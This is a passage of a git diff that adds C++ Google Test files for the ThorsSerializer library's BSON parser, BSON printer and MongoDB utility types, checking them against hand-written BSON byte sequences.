using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long double value3c; + ASSERT_ANY_THROW( + parser.getValue(value3c) + ); +} + +TEST(BsonParserTest, getDataFromBool_e) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool value4 = false; + ASSERT_NO_THROW( + parser.getValue(value4) + ); + EXPECT_EQ(true, value4); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + ASSERT_NO_THROW( + parser.getValue(value4) + ); + EXPECT_EQ(false, value4); +} +TEST(BsonParserTest, getRawValue) +{ + //std::stringstream stream(R"([true, false, 0, 15.4, "The Best"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x2F\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x00" + "\x10" "2\x00" "\x00\x00\x00\x00" + "\x01" "3\x00" "\xCD\xCC\xCC\xCC\xCC\xCC\x2E\x40" + "\x02" "4\x00" "\x09\x00\x00\x00" "The Best\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + std::string value; + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + value = parser.getRawValue(); + EXPECT_EQ(std::string("true"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("false"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("0"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("15.4"), value.substr(0,4)); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("\"The Best\""), value); +} + + diff --git a/Extern/include/ThorsSerializer/test/BsonPrinterTest.cpp b/Extern/include/ThorsSerializer/test/BsonPrinterTest.cpp new file mode 100644 index 0000000..acb30f0 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/BsonPrinterTest.cpp @@ -0,0 +1,469 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "BsonPrinter.h" +#include + +class BsonTestPrinter: public ThorsAnvil::Serialize::BsonPrinter +{ + public: + using BsonPrinter::BsonPrinter; + std::size_t getSizeMapTest(std::size_t count) {return getSizeMap(count);} + std::size_t getSizeArrayTest(std::size_t count) {return getSizeArray(count);} + std::size_t getSizeNullTest() {return getSizeNull();} + std::size_t getSizeValueTest(short value) {return getSizeValue(value);} + std::size_t getSizeValueTest(int value) {return getSizeValue(value);} + std::size_t getSizeValueTest(long int value) {return getSizeValue(value);} + std::size_t getSizeValueTest(long long int value) {return getSizeValue(value);} + std::size_t getSizeValueTest(unsigned short value) {return getSizeValue(value);} + std::size_t getSizeValueTest(unsigned int value) {return getSizeValue(value);} + std::size_t getSizeValueTest(unsigned long int value) {return getSizeValue(value);} + std::size_t getSizeValueTest(unsigned long long int value) {return getSizeValue(value);} + std::size_t getSizeValueTest(float value) {return getSizeValue(value);} + std::size_t getSizeValueTest(double value) {return getSizeValue(value);} + std::size_t getSizeValueTest(long double value) {return getSizeValue(value);} + std::size_t getSizeValueTest(bool value) {return getSizeValue(value);} + std::size_t getSizeValueTest(std::string const& value) {return getSizeValue(value);} + std::size_t getSizeRawTest(std::size_t size) {return getSizeRaw(size);} +}; + +TEST(BsonPrinterTest, ArrayTokens) +{ + std::stringstream stream; + BsonTestPrinter printer(stream); + + printer.openDoc(); + printer.openMap(printer.getSizeMapTest(0)); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ("{}", result); +} +TEST(BsonPrinterTest, MapTokens) +{ + std::stringstream stream; + BsonTestPrinter printer(stream); + + printer.openDoc(); + printer.openArray(printer.getSizeArrayTest(0)); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ("[]", result); +} +TEST(BsonPrinterTest, ArrayValues) +{ + std::stringstream stream; + BsonTestPrinter printer(stream); + + printer.openDoc(); + printer.openArray(printer.getSizeArrayTest(8) + + printer.getSizeValueTest(true) + + printer.getSizeValueTest(false) + + printer.getSizeValueTest(static_cast(55)) + + printer.getSizeValueTest(56) + + printer.getSizeValueTest(78.89) + + printer.getSizeValueTest(57l) + + printer.getSizeValueTest(58ll) + + printer.getSizeValueTest(std::string("Astring"))); + printer.addValue(true); + printer.addValue(false); + printer.addValue(static_cast(55)); + printer.addValue(56); + printer.addValue(78.89); + printer.addValue(57l); + printer.addValue(58ll); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x4B\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x00" + "\x10" "2\x00" "\x37\x00\x00\x00" + "\x10" "3\x00" "\x38\x00\x00\x00" + "\x01" "4\x00" "\x29\x5c\x8f\xc2\xf5\xb8\x53\x40" + "\x12" "5\x00" "\x39\x00\x00\x00\x00\x00\x00\x00" + "\x12" "6\x00" "\x3A\x00\x00\x00\x00\x00\x00\x00" + "\x02" "7\x00" "\x08\x00\x00\x00" "Astring\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ(R"([true,false,55,56,78.89,57,58,"Astring"])", result); +} +TEST(BsonPrinterTest, MapValues) +{ + std::stringstream stream; + BsonTestPrinter printer(stream); + + printer.openDoc(); + printer.openMap(printer.getSizeMapTest(8) + + 2 + printer.getSizeValueTest(true) + + 2 + printer.getSizeValueTest(false) + + 2 + printer.getSizeValueTest(static_cast(55)) + + 2 + printer.getSizeValueTest(56) + + 2 + printer.getSizeValueTest(78.89) + + 2 + printer.getSizeValueTest(57l) + + 2 + printer.getSizeValueTest(58ll) + + 2 + printer.getSizeValueTest(std::string("Astring"))); + printer.addKey("K0"); + printer.addValue(true); + printer.addKey("K1"); + printer.addValue(false); + printer.addKey("K2"); + printer.addValue(static_cast(55)); + printer.addKey("K3"); + printer.addValue(56); + printer.addKey("K4"); + printer.addValue(78.89); + printer.addKey("K5"); + printer.addValue(57l); + printer.addKey("K6"); + printer.addValue(58ll); + printer.addKey("K7"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x53\x00\x00\x00" + "\x08" "K0\x00" "\x01" + "\x08" "K1\x00" "\x00" + "\x10" "K2\x00" "\x37\x00\x00\x00" + "\x10" "K3\x00" "\x38\x00\x00\x00" + "\x01" "K4\x00" "\x29\x5c\x8f\xc2\xf5\xb8\x53\x40" + "\x12" "K5\x00" "\x39\x00\x00\x00\x00\x00\x00\x00" + "\x12" "K6\x00" "\x3A\x00\x00\x00\x00\x00\x00\x00" + "\x02" "K7\x00" "\x08\x00\x00\x00" "Astring\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ(R"({"K1":true,"K2":false,"K3":56,"K4":78.89,"K6":"Astring"})", result); +} +TEST(BsonPrinterTest, MapWithMapValues) +{ + std::stringstream stream; + BsonTestPrinter printer(stream); + + std::size_t map1map1Size = + printer.getSizeMapTest(2) + + 2 + printer.getSizeValueTest(true) + + 2 + printer.getSizeValueTest(false); + std::size_t map1map2Size = + printer.getSizeMapTest(3) + + 2 + printer.getSizeValueTest(78.89) + + 2 + printer.getSizeValueTest(57l) + + 2 + printer.getSizeValueTest(58ll); + std::size_t map1 = + printer.getSizeMapTest(4) + + 2 + map1map1Size + + 2 + printer.getSizeValueTest(56) + + 2 + map1map2Size + + 2 + printer.getSizeValueTest(std::string("Astring")); + printer.openDoc(); + printer.openMap(map1); + printer.addKey("K0"); + printer.openMap(map1map1Size); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.closeMap(); + printer.addKey("K3"); + printer.addValue(56); + printer.addKey("K4"); + printer.openMap(map1map2Size); + printer.addKey("K4"); + printer.addValue(78.89); + printer.addKey("K5"); + printer.addValue(57l); + printer.addKey("K6"); + printer.addValue(58ll); + printer.closeMap(); + printer.addKey("K7"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x5d\x00\x00\x00" + "\x03" "K0\x00" + "\x0F\x00\x00\x00" + "\x08" "K1\x00" "\x01" + "\x08" "K2\x00" "\x00" + "\x00" + "\x10" "K3\x00" "\x38\x00\x00\x00" + "\x03" "K4\x00" + "\x29\x00\x00\x00" + "\x01" "K4\x00" "\x29\x5c\x8f\xc2\xf5\xb8\x53\x40" + "\x12" "K5\x00" "\x39\x00\x00\x00\x00\x00\x00\x00" + "\x12" "K6\x00" "\x3A\x00\x00\x00\x00\x00\x00\x00" + "\x00" + "\x02" "K7\x00" "\x08\x00\x00\x00" "Astring\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ(R"({"K1":{"K1":true,"K2":false},"K3":56,"K4":{"K4":78.89},"K6":"Astring"})", result); +} +TEST(BsonPrinterTest, MapWithArrayValues) +{ + std::stringstream stream; + BsonTestPrinter printer(stream); + + std::size_t map1array1Size + = printer.getSizeArrayTest(8) + + printer.getSizeValueTest(static_cast(55)) + + printer.getSizeValueTest(56u) + + printer.getSizeValueTest(57ul) + + printer.getSizeValueTest(58ull) + + printer.getSizeValueTest(60.f) + + printer.getSizeValueTest(61.0L); + std::size_t map1array2Size + = printer.getSizeArrayTest(1) + + printer.getSizeValueTest(78.89); + std::size_t map1Size + = printer.getSizeMapTest(4) + + 2 + map1array1Size + + 2 + printer.getSizeValueTest(56) + + 2 + map1array2Size + + 2 + printer.getSizeValueTest(std::string("Astring")); + printer.openDoc(); + printer.openMap(map1Size); + printer.addKey("K0"); + printer.openArray(map1array1Size); + printer.addValue(true); + printer.addValue(false); + printer.addValue(static_cast(55)); + printer.addValue(56u); + printer.addValue(57ul); + printer.addValue(58ull); + printer.addValue(60.f); + printer.addValue(61.0L); + printer.closeArray(); + printer.addKey("K1"); + printer.addValue(56); + printer.addKey("K2"); + printer.openArray(map1array2Size); + printer.addValue(78.89); + printer.closeArray(); + printer.addKey("K3"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x7A\x00\x00\x00" + "\x04" "K0\x00" + "\x45\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x00" + "\x10" "2\x00" "\x37\x00\x00\x00" + "\x10" "3\x00" "\x38\x00\x00\x00" + "\x12" "4\x00" "\x39\x00\x00\x00\x00\x00\x00\x00" + "\x12" "5\x00" "\x3A\x00\x00\x00\x00\x00\x00\x00" + "\x01" "6\x00" "\x00\x00\x00\x00\x00\x00\x4E\x40" + "\x01" "7\x00" "\x00\x00\x00\x00\x00\x80\x4E\x40" + "\x00" + "\x10" "K1\x00" "\x38\x00\x00\x00" + "\x04" "K2\x00" + "\x10\x00\x00\x00" + "\x01" "0\x00" "\x29\x5c\x8f\xc2\xf5\xb8\x53\x40" + "\x00" + "\x02" "K3\x00" "\x08\x00\x00\x00" "Astring\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ(R"({"K1":[true,false,55,56,57,58,60,61],"K3":56,"K4":[78.89],"K6":"Astring"})", result); +} +TEST(BsonPrinterTest, ArrayWithMapValues) +{ + std::stringstream stream; + BsonTestPrinter printer(stream); + + std::size_t array1map1Size + = printer.getSizeMapTest(2) + + 2 + printer.getSizeValueTest(true) + + 2 + printer.getSizeValueTest(false); + std::size_t array1map2Size + = printer.getSizeMapTest(3) + + 2 + printer.getSizeValueTest(78.89) + + 2 + printer.getSizeValueTest(57l) + + 2 + printer.getSizeValueTest(58ll); + std::size_t array1Size + = printer.getSizeArrayTest(4) + + array1map1Size + + printer.getSizeValueTest(56) + + array1map2Size + + printer.getSizeValueTest(std::string("Astring")); + printer.openDoc(); + printer.openArray(array1Size); + printer.openMap(array1map1Size); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.closeMap(); + printer.addValue(56); + printer.openMap(array1map2Size); + printer.addKey("K4"); + printer.addValue(78.89); + printer.addKey("K5"); + printer.addValue(57l); + printer.addKey("K6"); + printer.addValue(58ll); + printer.closeMap(); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x59\x00\x00\x00" + "\x03" "0\x00" + "\x0F\x00\x00\x00" + "\x08" "K1\x00" "\x01" + "\x08" "K2\x00" "\x00" + "\x00" + "\x10" "1\x00" "\x38\x00\x00\x00" + "\x03" "2\x00" + "\x29\x00\x00\x00" + "\x01" "K4\x00" "\x29\x5c\x8f\xc2\xf5\xb8\x53\x40" + "\x12" "K5\x00" "\x39\x00\x00\x00\x00\x00\x00\x00" + "\x12" "K6\x00" "\x3A\x00\x00\x00\x00\x00\x00\x00" + "\x00" + "\x02" "3\x00" "\x08\x00\x00\x00" "Astring\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ(R"([{"K1":true,"K2":false},56,{"K4":78.89},"Astring"])", result); +} +TEST(BsonPrinterTest, ArrayWithArrayValues) +{ + std::stringstream stream; + BsonTestPrinter printer(stream); + + std::size_t array1array1Size + = printer.getSizeArrayTest(2) + + printer.getSizeValueTest(true) + + printer.getSizeValueTest(false); + std::size_t array1array2Size + = printer.getSizeArrayTest(3) + + printer.getSizeValueTest(78.89) + + printer.getSizeValueTest(57l) + + printer.getSizeValueTest(58ll); + std::size_t array1Size + = printer.getSizeArrayTest(4) + + array1array1Size + + printer.getSizeValueTest(56) + + array1array2Size + + printer.getSizeValueTest(std::string("Astring")); + printer.openDoc(); + printer.openArray(array1Size); + printer.openArray(array1array1Size); + printer.addValue(true); + printer.addValue(false); + printer.closeArray(); + printer.addValue(56); + printer.openArray(array1array2Size); + printer.addValue(78.89); + printer.addValue(57l); + printer.addValue(58ll); + printer.closeArray(); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x54\x00\x00\x00" + "\x04" "0\x00" + "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x00" + "\x00" + "\x10" "1\x00" "\x38\x00\x00\x00" + "\x04" "2\x00" + "\x26\x00\x00\x00" + "\x01" "0\x00" "\x29\x5c\x8f\xc2\xf5\xb8\x53\x40" + "\x12" "1\x00" "\x39\x00\x00\x00\x00\x00\x00\x00" + "\x12" "2\x00" "\x3A\x00\x00\x00\x00\x00\x00\x00" + "\x00" + "\x02" "3\x00" "\x08\x00\x00\x00" "Astring\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ(R"([[true,false],56,[78.89],"Astring"])", result); + +} +TEST(BsonPrinterTest, CloseMapWithArray) +{ + std::stringstream stream; + BsonTestPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openMap(printer.getSizeMapTest(0)); + ASSERT_ANY_THROW( + printer.closeArray(); + ); +} +TEST(BsonPrinterTest, CloseArrayWithMap) +{ + std::stringstream stream; + BsonTestPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(printer.getSizeArrayTest(0)); + ASSERT_ANY_THROW( + printer.closeMap(); + ); +} +TEST(BsonPrinterTest, PuttingKeyInArray) +{ + std::stringstream stream; + BsonTestPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(printer.getSizeArrayTest(0)); + ASSERT_ANY_THROW( + printer.addKey("This old house"); + ); +} +TEST(BsonPrinterTest, AddRawValueTest) +{ + std::stringstream stream; + BsonTestPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openMap(printer.getSizeMapTest(1) + + 2 + printer.getSizeRawTest(std::string("12").size())); + printer.addKey("K1"); + printer.addRawValue("12"); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + static const char expectedRaw[] + = "\x10\x00\x00\x00" + "\x05" "K1\x00" "\x02\x00\x00\x00" "\x80" "12" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, result); + //EXPECT_EQ(result, R"({"K1":12})"); +} + diff --git a/Extern/include/ThorsSerializer/test/BsonUtilitySerializationTest.cpp b/Extern/include/ThorsSerializer/test/BsonUtilitySerializationTest.cpp new file mode 100644 index 0000000..10762c5 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/BsonUtilitySerializationTest.cpp @@ -0,0 +1,197 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "BsonThor.h" +#include "test/BsonUtilitySerializationTest.h" +#include + + +using namespace ThorsAnvil::Serialize; + +TEST(BsonUtilitySerializationTest, ObjectIDSerialize) +{ + std::stringstream stream; + MongoObjectID object(0x12345678,0x9ABCDEF053LL,0x1A2B3C); + + stream << ThorsAnvil::Serialize::bsonExporter(object); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x15\x00\x00\x00" + "\x07" "id\x00" "\x12\x34\x56\x78" "\x9A\xBC\xDE\xF0\x53" "\x1A\x2B\x3C" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + + EXPECT_EQ(expected, result); +} +TEST(BsonUtilitySerializationTest, ObjectIDGetSize) +{ + std::stringstream stream; + MongoObjectID object(0x12345678,0x9ABCDEF053LL,0x1A2B3C); + + std::size_t size = ThorsAnvil::Serialize::bsonGetPrintSize(object); + EXPECT_EQ(0x15, size); +} + +TEST(BsonUtilitySerializationTest, ObjectIDRoundTrip) +{ + std::stringstream stream; + MongoObjectID object(0x12345678,0x9ABCDEF053LL,0x1A2B3C); + + stream << ThorsAnvil::Serialize::bsonExporter(object); + + MongoObjectID result(8, 9, 10); + stream >> ThorsAnvil::Serialize::bsonImporter(result); + + EXPECT_EQ(object, result); +} +TEST(BsonUtilitySerializationTest, UTCDateTimeSerialize) +{ + std::stringstream stream; + MongoUTCDateTime object(0x123456789ABCDEF0LL); + + + stream << ThorsAnvil::Serialize::bsonExporter(object); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x11\x00\x00\x00" + "\x09" "dt\x00" "\xf0\xde\xbc\x9a" "\x78\x56\x34\x12" // "\x12\x34\x56\x78" "\x9A\xBC\xDE\xF0" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + + EXPECT_EQ(expected, result); +} + +TEST(BsonUtilitySerializationTest, UTCDateTimeRoundTrip) +{ + std::stringstream stream; + MongoUTCDateTime object(0x123456789ABCDEF0LL); + + stream << ThorsAnvil::Serialize::bsonExporter(object); + + MongoUTCDateTime result(8); + stream >> ThorsAnvil::Serialize::bsonImporter(result); + + EXPECT_EQ(object, result); +} +TEST(BsonUtilitySerializationTest, BsonTimeStampSerialize) +{ + std::stringstream stream; + MongoBsonTimeStamp object(0x12345678, 0x9ABCDEF0); + + + stream << ThorsAnvil::Serialize::bsonExporter(object); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x11\x00\x00\x00" + "\x11" "ts\x00" "\x9A\xBC\xDE\xF0" "\x12\x34\x56\x78" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + + EXPECT_EQ(expected, result); +} + +TEST(BsonUtilitySerializationTest, BsonTimeStampRoundTrip) +{ + std::stringstream stream; + MongoBsonTimeStamp object(0x12345678, 0x9ABCDEF0); + + stream << ThorsAnvil::Serialize::bsonExporter(object); + + MongoBsonTimeStamp result(8,9); + stream >> ThorsAnvil::Serialize::bsonImporter(result); + + EXPECT_EQ(object, result); +} + +TEST(BsonUtilitySerializationTest, BsonBinarySerializer) +{ + MongoBsonBinary data("This is a binary test"); + std::stringstream stream; + + stream << ThorsAnvil::Serialize::bsonExporter(data); + + static const char expectedRaw[] + = "\x27\x00\x00\x00" + "\x05" "binary\x00" + "\x15\x00\x00\x00" "\x08" + "This is a binary test" + "\x00"; + + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, stream.str()); +} + +TEST(BsonUtilitySerializationTest, BsonBinarySerializerRoundTrip) +{ + MongoBsonBinary data("This is a binary test"); + std::stringstream stream; + + stream << ThorsAnvil::Serialize::bsonExporter(data); + MongoBsonBinary result("XXXXX"); + stream >> ThorsAnvil::Serialize::bsonImporter(result); + + EXPECT_EQ(data, result); +} + +TEST(BsonUtilitySerializationTest, BsonJavascriptSerializer) +{ + MongoBsonJsavScript data("function myrand() {return 4;}"); + std::stringstream stream; + + stream << ThorsAnvil::Serialize::bsonExporter(data); + + static const char expectedRaw[] + = "\x33\x00\x00\x00" + "\x0D" "javascript\x00" + "\x1E\x00\x00\x00" "function myrand() {return 4;}\x00" + "\x00"; + + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, stream.str()); +} + +TEST(BsonUtilitySerializationTest, BsonJavascriptSerializerRoundtrip) +{ + MongoBsonJsavScript data("function myrand() {return 4;}"); + std::stringstream stream; + + stream << ThorsAnvil::Serialize::bsonExporter(data); + MongoBsonJsavScript result("XXXX"); + + stream >> ThorsAnvil::Serialize::bsonImporter(result); + + EXPECT_EQ(data, result); +} + +TEST(BsonUtilitySerializationTest, BsonRegExSerializer) +{ + MongoBsonRegExp data("^[ \\t]*", "g"); + std::stringstream stream; + + stream << ThorsAnvil::Serialize::bsonExporter(data); + + static const char expectedRaw[] + = "\x16\x00\x00\x00" + "\x0B" "regex\x00" + "^[ \\t]*\x00" + "g\x00" + "\x00"; + + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, stream.str()); +} +TEST(BsonUtilitySerializationTest, BsonRegExSerializerRoundtrip) +{ + MongoBsonRegExp data("^[ \\t]*", "g"); + std::stringstream stream; + + stream << ThorsAnvil::Serialize::bsonExporter(data); + MongoBsonRegExp result("X", "Y"); + + stream >> ThorsAnvil::Serialize::bsonImporter(result); + + EXPECT_EQ(data, result); +} + diff --git a/Extern/include/ThorsSerializer/test/BsonUtilitySerializationTest.h b/Extern/include/ThorsSerializer/test/BsonUtilitySerializationTest.h new file mode 100644 index 0000000..8719e94 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/BsonUtilitySerializationTest.h @@ -0,0 +1,126 @@ +#include "Traits.h" +#include "MongoUtility.h" + +class MongoObjectID +{ + ThorsAnvil::Serialize::MongoUtility::ObjectID id; + friend class ThorsAnvil::Serialize::Traits; + public: + MongoObjectID(std::int32_t timestamp, std::int64_t random, std::int32_t counter) + : id(timestamp, random, counter) + {} + bool operator==(MongoObjectID const& rhs) const {return id == rhs.id;} +}; +class MongoUTCDateTime +{ + ThorsAnvil::Serialize::MongoUtility::UTCDateTime dt; + friend class ThorsAnvil::Serialize::Traits; + public: + MongoUTCDateTime(std::int64_t timestamp) + : dt(timestamp) + {} + bool operator==(MongoUTCDateTime const& rhs) const {return dt == rhs.dt;} +}; +class MongoBsonTimeStamp +{ + ThorsAnvil::Serialize::MongoUtility::BsonTimeStamp ts; + friend class ThorsAnvil::Serialize::Traits; + public: + MongoBsonTimeStamp(std::int32_t timestamp, int inc) + : ts(timestamp, inc) + {} + bool operator==(MongoBsonTimeStamp const& rhs) const {return ts == rhs.ts;} +}; + +class MongoBsonBinaryObj +{ + std::string buffer; + friend class ThorsAnvil::Serialize::Traits; + public: + MongoBsonBinaryObj(std::string const& data) + : buffer(data) + {} + bool operator==(MongoBsonBinaryObj const& rhs) const {return buffer == rhs.buffer;} + + std::size_t getSize() const {return buffer.size();} + void resize(std::size_t size) {buffer.resize(size);} + char const* getBuffer() const {return &buffer[0];} + char* getBuffer() {return &buffer[0];} +}; + +struct MongoBsonJsavScriptObj +{ + std::vector buffer; + friend class ThorsAnvil::Serialize::Traits; + public: + MongoBsonJsavScriptObj(std::string const& value) + : buffer(std::begin(value), std::end(value)) + {} + bool operator==(MongoBsonJsavScriptObj const& rhs) const {return buffer == rhs.buffer;} + std::size_t getSize() const {return buffer.size();} + void resize(std::size_t size) {buffer.resize(size);} + char const* getBuffer() const {return &buffer[0];} + char* getBuffer() {return &buffer[0];} +}; + +struct MongoBsonRegExObj +{ + std::string pat; + std::string opt; + friend class ThorsAnvil::Serialize::Traits; + public: + MongoBsonRegExObj(std::string const& p, std::string const& o) + : pat(p) + , opt(o) + {} + bool operator==(MongoBsonRegExObj const& rhs) const {return std::tie(pat, opt) == std::tie(rhs.pat, rhs.opt);} + std::string const& pattern() const {return pat;} + std::string const& options() const {return opt;} + std::string& pattern() {return pat;} + std::string& options() {return opt;} +}; + +class MongoBsonBinary +{ + friend class ThorsAnvil::Serialize::Traits; + MongoBsonBinaryObj binary; + public: + MongoBsonBinary(std::string const& value) + : binary(value) + {} + bool operator==(MongoBsonBinary const& rhs) const {return binary == rhs.binary;} +}; +class MongoBsonJsavScript +{ + friend class ThorsAnvil::Serialize::Traits; + MongoBsonJsavScriptObj javascript; + public: + MongoBsonJsavScript(std::string const& value) + : javascript(value) + {} + bool operator==(MongoBsonJsavScript const& rhs) const {return javascript == rhs.javascript;} +}; +class MongoBsonRegExp +{ + friend class ThorsAnvil::Serialize::Traits; + MongoBsonRegExObj regex; + public: + MongoBsonRegExp(std::string const& p, std::string const& o) + : regex(p, o) + {} + bool operator==(MongoBsonRegExp const& rhs) const {return regex == rhs.regex;} +}; + + + +ThorsAnvil_MakeTraitCustomSerialize(MongoBsonBinaryObj, ThorsAnvil::Serialize::MongoUtility::BinarySerializer); +ThorsAnvil_MakeTraitCustomSerialize(MongoBsonJsavScriptObj, ThorsAnvil::Serialize::MongoUtility::JavascriptSerializer); +ThorsAnvil_MakeTraitCustomSerialize(MongoBsonRegExObj, ThorsAnvil::Serialize::MongoUtility::RegExSerializer); + +ThorsAnvil_MakeTrait(MongoObjectID, id); +ThorsAnvil_MakeTrait(MongoUTCDateTime, dt); +ThorsAnvil_MakeTrait(MongoBsonTimeStamp, ts); +ThorsAnvil_MakeTrait(MongoBsonBinary, binary); +ThorsAnvil_MakeTrait(MongoBsonJsavScript, javascript); +ThorsAnvil_MakeTrait(MongoBsonRegExp, regex); + diff --git a/Extern/include/ThorsSerializer/test/CornerCaseTest.cpp b/Extern/include/ThorsSerializer/test/CornerCaseTest.cpp new file mode 100644 index 0000000..ee310c4 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/CornerCaseTest.cpp @@ -0,0 +1,814 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "SerUtil.h" +#include "UnicodeIterator.h" + +namespace TA=ThorsAnvil::Serialize; +using TA::ParserInterface; +using TA::DeSerializer; +using TA::FormatType; + +namespace CornerCaseTest +{ + +class ParserMock: public ParserInterface +{ + std::vector const& tokens; + std::vector const& keys; + std::vector const& values; + int nextToken; + int nextKey; + int nextValue; + public: + ParserMock(std::istream& input, std::vector const& tokens, std::vector const& keys, std::vector const& values) + : ParserInterface(input, ParseType::Weak) + , tokens(tokens) + , keys(keys) + , values(values) + , nextToken(0) + , nextKey(0) + , nextValue(0) + {} + virtual FormatType formatType() override {return FormatType::Json;} + + virtual ParserToken getNextToken() override{return tokens[nextToken++];} + virtual std::string getKey() override{return keys[nextKey++];} + + virtual void getValue(short int&) override{} + virtual void getValue(int&) override{} + virtual void getValue(long int&) override{} + virtual void 